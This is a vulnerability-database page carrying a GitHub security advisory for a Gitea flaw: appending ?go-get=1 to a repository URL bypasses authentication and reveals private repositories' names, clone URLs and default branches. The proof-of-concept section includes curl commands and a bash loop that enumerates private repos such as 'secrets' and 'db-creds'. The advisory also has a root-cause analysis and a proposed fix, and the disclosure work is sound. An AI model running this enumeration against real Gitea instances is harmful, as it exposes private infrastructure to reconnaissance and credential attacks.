What is the CVSS score of CVE-2026-58507?

CVE-2026-58507 has a CVSS 3.1 base score of 5.3 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.

Is there a patch available for CVE-2026-58507?

Yes, a patch is available for CVE-2026-58507. Update the affected software to the latest version immediately.

Gitea CVE-2026-58507

MEDIUM

Information Exposure (CWE-200)

2026-07-21 https://github.com/go-gitea/gitea

GHSA-p4mj-98mv-xq26

Information Disclosure Gitea

5.3

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

5.3 MEDIUM

AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

vuln.today AI

5.3 MEDIUM

Network-accessible with no authentication required; only metadata disclosed (not repo contents), justifying C:L; no integrity or availability impact applies.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

Low

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

Jul 21, 2026 - 21:12 vuln.today

Analysis Generated

Jul 21, 2026 - 21:12 vuln.today

DescriptionGitHub Advisory

Field	Value
Affected File	`routers/web/repo/githttp.go`, `services/context/repo.go`
Affected Functions	`httpBase()`, `EarlyResponseForGoGetMeta()`
Affected Lines	`githttp.go:63-66`, `services/context/repo.go:374-396`
Prerequisite	None - fully unauthenticated

---

Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags - regardless of whether:

The repository is private
The requesting user is authenticated
The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63-66:

func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

    if ctx.FormString("go-get") == "1" {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil   // ← returns before any auth or permission check
    }
    ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379-396) is called unconditionally, and the function's own docstring documents the intended behavior:

// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 - all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

The full repository name and owner - confirming the repository exists
The HTTP clone URL - a fully-formed URL pointing to the repository
The source browsing URL templates - which may reveal the default branch name

This allows an unauthenticated attacker to:

Confirm existence of any private repository by name
Enumerate private repository names through brute-force without triggering authentication failures
Harvest clone URLs and default branch names of private repositories

---

Proof of Concept

Step 1 - Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:

---

Step 2 - Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.

---

Step 3 - Bypass using go-get parameter

bash

curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

html

<!doctype html>
<html>
    <head>
        <meta name="go-import"
              content="localhost:3000/admin/classified-internal
                       git
                       http://localhost:3000/admin/classified-internal.git">
        <meta name="go-source"
              content="localhost:3000/admin/classified-internal
                       _
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
                       http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
    </head>
    <body>
        go get --insecure localhost:3000/admin/classified-internal
    </body>
</html>

The response:

Returns HTTP 200 (not 404) - confirming the repository exists
Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
Reveals the default branch name: main
Reveals the owner username: admin

This same response is returned whether or not the repository exists - the comment in EarlyResponseForGoGetMeta states it responds identically for both - however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.

---

Step 4 - Enumerate private repositories at scale

bash

# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done

---

Step 5 - Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

bash

# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.

---

Impact Analysis

Direct impact:

What is leaked	Sensitivity
Repository exists	Confirms presence of private infrastructure code, internal tooling, unreleased products
Owner / organization name	Reveals organizational structure
Clone URL	Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint
Default branch name	Reduces brute-force surface for subsequent attacks

---

Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround - returning metadata unconditionally - was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.

---

Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.

// routers/web/repo/githttp.go:63-66 - proposed fix

if ctx.FormString("go-get") == "1" {
    // For public repos, always respond to support the go toolchain
    if repo != nil && !repo.IsPrivate {
        context.EarlyResponseForGoGetMeta(ctx)
        return nil
    }
    // For private repos, only respond if the user is authenticated
    // and has at least read access
    if ctx.IsSigned {
        if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
            if perm.CanRead(unit.TypeCode) {
                context.EarlyResponseForGoGetMeta(ctx)
                return nil
            }
        }
    }
    // Unauthenticated request for a private repo - return 404 consistent
    // with normal behavior; the go toolchain will prompt for credentials
    ctx.PlainText(http.StatusNotFound, "Repository not found")
    return nil
}

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.

---

AnalysisAI

Private repository existence disclosure in Gitea allows fully unauthenticated remote attackers to confirm the existence, enumerate names, harvest clone URLs, and identify default branch names of private repositories by appending the ?go-get=1 query parameter to any repository-scoped URL. All Gitea instances running versions prior to 1.27.0 are affected regardless of repository visibility configuration. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Reach Gitea HTTP endpoint

Delivery

Append ?go-get=1 to private repo URL

Exploit

Auth stack bypassed in httpBase()

Execution

EarlyResponseForGoGetMeta() returns HTTP 200

Persist

Extract clone URL and branch name from response

Impact

Enumerate additional private repos via wordlist iteration

Access

Reach Gitea HTTP endpoint

Delivery

Append ?go-get=1 to private repo URL

Exploit

Auth stack bypassed in httpBase()

Execution

EarlyResponseForGoGetMeta() returns HTTP 200

Persist

Extract clone URL and branch name from response

Impact

Enumerate additional private repos via wordlist iteration

Vulnerability AssessmentAI

Exploitation	No special conditions - remote unauthenticated exploitation against default configurations of any Gitea instance prior to v1.27.0 where private repositories exist. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The CVSS 3.1 score of 5.3 Medium with vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N accurately reflects the attack surface: fully network-accessible, zero complexity, no authentication, no user interaction required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An unauthenticated external attacker with HTTP network access to a Gitea instance sends GET requests of the form `GET /orgname/{reponame}?go-get=1 HTTP/1.1` iterating over a wordlist of common repository names (e.g., `secrets`, `deploy`, `infra`, `api-keys`, `prod-config`). Each HTTP 200 response confirms the repository exists, leaks the full clone URL, and discloses the default branch name; HTTP responses for non-existent repositories are structurally identical but functionally distinguishable via a subsequent `git ls-remote` probe. …
Remediation	Upgrade to Gitea v1.27.0 or later, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. … Detailed patch versions, workarounds, and compensating controls in full report.